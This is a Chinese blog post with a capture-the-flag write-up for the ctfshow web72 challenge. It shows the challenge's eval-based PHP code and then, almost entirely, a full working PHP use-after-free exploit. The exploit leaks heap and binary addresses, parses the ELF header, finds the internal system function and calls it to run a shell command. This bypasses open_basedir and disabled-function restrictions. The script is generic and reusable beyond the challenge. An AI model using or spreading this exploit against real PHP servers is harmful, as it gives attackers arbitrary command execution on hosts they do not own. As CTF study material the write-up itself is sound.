首页 > 其他分享 >ctfshow web72(绕过open_basedir)

ctfshow web72(绕过open_basedir)

时间:2022-10-31 22:12:49浏览次数:74  
标签:abc web72 addr get leak basedir write base open

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

先“采用手段”得到目录后,利用如下uaf脚本绕过。

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

 

标签:abc,web72,addr,get,leak,basedir,write,base,open
From: https://www.cnblogs.com/meng-han/p/16846015.html

相关文章

  • OpenMediaVault 6 安装 Zerotier
    1.首先安装Curlsudoaptinstallcurl2.安装Zerotiersudowgethttps://download.zerotier.com/RELEASES/1.10.1/dist/debian/buster/zerotier-one_1.10.1_amd64.de......
  • 初识Rasp——Openrasp代码分析
    初识Rasp——Openrasp代码分析@author:Drag0nf1y本文首发于奇安信安全社区,现转载到个人博客。原文链接:https://forum.butian.net/share/1959什么是RASP?Rasp的概念​ ......
  • 谈OpenGL中的”对象“
    和linux中的文件描述符一样地去理解、可以用整数去指代输入输出流、文件、设备那就同样可以用整数去代表一个VAO、VBO差不多就是这个原理。 opengl的workflow、差......
  • 关于opengl的”版本“
    固定流水线=立即模式(immediateprofile)可编程模式=核心模式(coreprofile)Opengl 3.2以后、立即模式(或者说是固定管线)被废弃、意味着glVertex__()这种函数都不应该用......
  • OpenFeign 降级
    一、场景服务间相互调用时,分为服务调用方与服务提供方两个角色。今天我们所解决的问题就是在服务提供方发生超时或者异常(比如400、500ErrorCode)的时候,自动执行的一段......
  • OpenCV img和base64转换
    img->cv::Mat-->Base64std::vector<uchar>buf;cv::Matmat(height,width,CV_8U,image_data.data());cv::imencode(".png",mat,buf);autoenc_ms......
  • openEuler technical-certification
    https://gitee.com/meitingli/technical-certification/ 介绍存放openEuler技术测评相关的文档,包括技术测评标准、流程、指导性文档等技术测评概述欧拉技术测评:基......
  • Ubuntu18.04LTS环境下创建OpenCV4.x-Android库
    1背景1.1java.lang.UnsatisfiedLinkError:dlopenfailed:library“libc++_shared.so”notfound​​libc++_shared.so​​​之前默认集成在​​opencv_java3.so​​......
  • PCL错误提示:RuntimeError: : [pcl::PCDWriter::writeASCII] Could not open file for
    参考:(39条消息)PCL错误提示:what()::[pcl::PCDWriter::writeASCII]Couldnotopenfileforwriting!_lykhahaha的博客-CSDN博客_[pcl::pcdwriter::writeascii]couldn......
  • 创建外部表步骤及解决ORA-29913:执行ODCIETTABLEOPEN调出时出错
    创建外部表步骤建立目录对象(用sys用户创建、授权)外部表所在路径一定要写对!!!createdirectoryext_dataas'D:\ORACLE';grantread,writeondirectoryext_datato......